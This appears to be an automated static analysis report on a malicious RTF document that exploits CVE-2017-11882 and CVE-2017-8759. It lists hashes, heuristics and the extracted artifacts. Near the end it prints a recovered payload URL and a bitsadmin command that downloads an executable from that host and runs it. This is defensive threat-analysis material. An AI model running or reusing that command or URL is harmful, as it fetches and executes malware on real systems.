Malicious RTF — malware analysis report

Static analysis result for SHA-256 ee9a692405c688a5…

MALICIOUS

RTF

283.4 KB Created: 2018-06-19 10:32:00 First seen: 2018-07-14
MD5: 94142f4c73fbf281bcb12d1ccd06755d SHA-1: 97c3ad77056214c7ab2b08f7b79e1f1d3688118f SHA-256: ee9a692405c688a5dee2c3d8305e3488c8e92d57e42bdb334541d83c5e896047
322 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects and triggers critical heuristics for CVE-2017-11882 (Equation Editor) and CVE-2017-8759 (MSXML SAX). These exploits are designed to execute arbitrary code, likely downloading a second-stage payload from the suspicious URL found in the extracted artifacts. The ClamAV detection further confirms the malicious nature of the file.

Heuristics 8

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • ClamAV: Doc.Exploit.Cve_2017_11882-7570663-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Exploit.Cve_2017_11882-7570663-1
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://moteandassociates.com/maersk/build_output5ED4EE0.exe In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000c6c0.bin rtf-objdata-decoded RTF \objdata at offset 0xC6C0 15672 bytes
SHA-256: af3a0043ead195b3ccc2ab55ca0f11ea6874025a360339cf82fb17c3081886ed
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): https://moteandassociates.com/maersk/build_output5ED4EE0.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer IZ /priority foreground https://moteandassociates.com/maersk/build_output5ED4EE0.exe %TEMP%\aW.exe && start %TEMP%\aW.exe

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